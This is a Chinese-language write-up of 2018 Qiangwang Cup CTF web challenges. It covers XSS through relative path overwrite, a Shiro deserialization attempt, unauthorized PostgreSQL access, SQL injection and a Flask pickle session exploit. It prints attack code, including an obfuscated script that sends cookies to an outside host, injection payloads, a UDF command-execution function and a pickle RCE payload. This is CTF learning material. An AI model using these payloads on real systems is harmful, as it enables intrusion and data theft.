强网杯2018 Web writeup

2023-02-21 19:51:22 浏览数 (1)

现在人老了,不仅ctf不想打了,写wp也想偷点懒,下面的writeup就从简完成了,如果有问题可以直接问我。

Web

share your mind

一道挺迷的xss题目,开始做题的时候拐入了一个神奇的非预期。

基础的思路挺明确的,首先需要找个以当前域下的self-xss,然后发送给管理员,bot访问然后进一步…

首先就需要找到一个xss点,由于写文章的点经过html过滤,尖括号被转义了,再加上第一个提示说后台bot使用了phjs做浏览器,所以提出了一个想法,phjs有什么和普通浏览器不同的点,然后就被带入歧途了。

在盲测payload的时候,这样的一个payload收到了返回

代码语言:javascript复制
http://39.107.33.96:20000"><img src="http://xxxxx.xx">

这里没有任何过滤,但是构造js探测后台的时候发现,后台没有任何cookie,甚至没登陆,不能阅读任何东西,无奈之下问了管理员,答复是非预期,有解…

实话说我还是第一次遇到非预期无解的情况,仔细想了一下,可能是因为这个漏洞是bot问题,猜测可能是控制phjs的脚本是通过第三方获取提交链接的,导致拼接的时候未处理出现问题…所以添加cookie和登陆操作在这之后,所以这里的xss点没有用。

抛开这个思路不谈,这里回到题目,知道是非预期,所以思路就想着在站内找一个self-xss。

突然发现站内引用了形似../static/jquery.js的js,然后站内使用路由表来解析对应的方法,那么RPO的利用条件成立。

ps:RPO相关的知识在34c3的wp和pwnhub大物必须死都提到过,这里就不细谈了。

当我们访问

代码语言:javascript复制
http://39.107.33.96:20000/index.php/view/article/28477/../../../../index.php/add

页面内请求的js链接会为http://39.107.33.96:20000/index.php/view/article/28477/static/jquery.js,返回内容为文章内容,js就会执行。

直接打cookie,获得提示HINT=Try to get the cookie of path "/QWB_fl4g/QWB/

这个简单,打子域的cookie即可,就是去年的国赛的思路

代码语言:javascript复制
var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
  	var c=document.getElementById('a').contentWindow.document.cookie;
	location.href="http://xxxxx?xx=" c;
}

不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了

代码语言:javascript复制
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,105,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,10,105,46,115,114,99,61,34,47,81,87,66,95,102,108,52,103,47,81,87,66,47,34,59,10,105,46,105,100,61,34,97,34,59,10,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,105,41,59,10,105,46,111,110,108,111,97,100,32,61,32,102,117,110,99,116,105,111,110,32,40,41,123,10,32,32,9,118,97,114,32,99,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,97,39,41,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,10,9,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,49,53,46,50,56,46,55,56,46,49,54,63,120,120,61,34,43,99,59,10,125,10,60,47,115,99,114,105,112,116,62))

成功打到flag

彩蛋

挺迷的一题的,因为java出不了什么漏洞,所以题意就比较明显了,就是用低版本的组件本身的漏洞导致的。

首先拿到项目代码https://github.com/zjlywjh001/PhrackCTF-Platform-Team

仔细研究其组件版本 https://github.com/zjlywjh001/PhrackCTF-Platform-Team/blob/master/pom.xml

发现其中shiro版本为1.2.4,shiro的1.2.4版本存在一个RCE漏洞。

首先找到cookie加密密钥phrackctfDE!~#$d (cGhyYWNrY3RmREUhfiMkZA==)

用seebug上的poc生成测试cookie,无论在ysoserial上用各种版本的commoncollections都没办法利用,实在不懂java,再加上本地环境不完整,所以就想不到什么办法了。

后来再看别的wp得知,实际上在构造反序列化的gadgets时,不能用commoncollections,只能用JRMPclient。有待进一步研究

在想办法的时候,无意中用nmap扫描服务器,发现惊喜

代码语言:javascript复制
root@iZ285ei82c1Z:~# nmap -Pn -sT 106.75.97.46

Starting Nmap 6.40 ( http://nmap.org ) at 2018-03-25 14:09 CST
Nmap scan report for 106.75.97.46
Host is up (0.020s latency).
Not shown: 983 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
42/tcp   filtered nameserver
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
1027/tcp filtered IIS
1028/tcp filtered unknown
1068/tcp filtered instl_bootc
3128/tcp filtered squid-http
4444/tcp filtered krb524
5432/tcp open     postgresql
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6669/tcp filtered irc
8009/tcp open     ajp13
8080/tcp open     http-proxy

5432开放了postgresql端口,尝试未授权果然成功连上了,翻了翻,因为权限设置问题,没办法列目录,只能读文件。但不知道文件名,所以尝试用udf执行命令。

研究了一下没找到9.6版本的udf,但在数据库当前目录下,有别人写的udf,成功执行命令,拿到flag

代码语言:javascript复制
CREATE OR REPLACE FUNCTION sys_eval()  RETURNS text AS  './udf.so' LANGUAGE C STRICT;
select sys_eval('cat /flag_is_here');

python is best language

这是一个flask的代码审计题目,分1&2两个漏洞,第一个漏洞还算是比较清楚,注入漏洞。让我们来看看代码。

others.py里的数据库操作完全没有任何过滤,而且直接将输入拼接进入sql语句,也就是说,如果数据没经过处理,就会产生注入

代码语言:javascript复制
class Mysql_Operate():
    def __init__(self, Base, engine, dbsession):
        self.db_session = dbsession()
        self.Base = Base
        self.engine = engine

    def Add(self, tablename, values):
        sql = "insert into "   tablename   " "
        sql  = "values ("
        sql  = "".join(i   "," for i in values)[:-1]
        sql  = ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Del(self, tablename, where):
        sql = "delete from "   tablename   " "
        sql  = "where "   
            "".join(i   "="   str(where[i])   " and " for i in where)[:-4]
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Mod(self, tablemame, where, values):
        sql = "update "   tablemame   " "
        sql  = "set "   
            "".join(i   "="   str(values[i])   "," for i in values)[:-1]   " "
        sql  = "where "   
            "".join(i   "="   str(where[i])   " and " for i in where)[:-4]
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Sel(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = "select "
        sql  = "".join(i   "," for i in feildname)[:-1]   " "
        sql  = "from "   tablename   " "
        if where != {}:
            sql  = "where "   "".join(i   " "   where_symbols   " "  
                                      str(where[i])   " "   l   " " for i in where)[:-4]
        if order != "":
            sql  = "order by "   "".join(i   "," for i in order)[:-1]
        return sql

    def All(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchall()
            if res == None:
                return []
            return res
        except:
            return -1

    def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchone()
            if res == None:
                return 0
            return res
        except:
            return -1

比如编辑个人信息,就没有任何处理就进入mysq操作类。

代码语言:javascript复制
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
    current_user.username = form.username.data
    current_user.note = form.note.data
    res = mysql.Mod("user", {"id": current_user.id}, {
                    "username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

但在forms.py里对表单有验证,例如上面的编辑个人资料,在form验证就会被拦截

代码语言:javascript复制
def validate_note(self, note):
    if re.match("^[a-zA-Z0-9_'() ._*`-@= ><]*$", note.data) == None:
        raise ValidationError("Don't input invalid charactors!")

但有一个特例,就是PostForm,这个表单没有任何验证

代码语言:javascript复制
class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

注入成立了,而且还是显注,唯一的问题是这里是所有人都可以看到的,所以在注入时候需要想一些办法

代码语言:javascript复制
name:12333 
id:10

database:flask
table: flaaaaag,followers,post,user
columns: flllllag

encode加密flag 
asdf','10','2018-03-24'),(NULL,hex(encode((select flllllag from flaaaaag),'qwertyuiokmnnnhgbv')),'10','2018-03-24')#
decode解密
select decode(unhex('6201D0BB2543B2DE415C367C7DE295C4777C8E541D4FC9B2E1DA6209AB'),'qwertyuiokmnnnhgbv');

第二步是flask的session反序列化漏洞,python会反序列化用户的session,问题在于不知道如何控制session,赛后讨论的时候发现…明明有注入为什么不用注入来写呢。

上面的注入可以通过执行多条语句向文件中写入内容。

然后python的session文件和php一样,在/tmp/ffff/md5(bdwsessions user),通过mysql into outfile可以写文件到这里控制有效的。

分享一些相关的文章 https://www.leavesongs.com/PENETRATION/client-session-security.html

http://mp.weixin.qq.com/s/xEBr7JxbSTt11oiBsgc3uw

https://github.com/bl4de/ctf/blob/master/2016/HackIM_2016/Unicle_Web200/Unicle_Web200_writeup.md

然后代码中还有一些黑名单机制

代码语言:javascript复制
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,spawnv, spawnve, spawnvp, spawnvpe, load, loads]

其中限制了很多关键字,但subprocess.Popen没有被限制,所以就可以随意执行命令

代码语言:javascript复制
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
import subprocess
class Exploit(object):
    def __reduce__(self):
        return (subprocess.Popen, (('xx','/tmp/xxxx',),))

shellcode  = cPickle.dumps(Exploit())
print '0x'   shellcode .encode('hex')

成功getshell

0 人点赞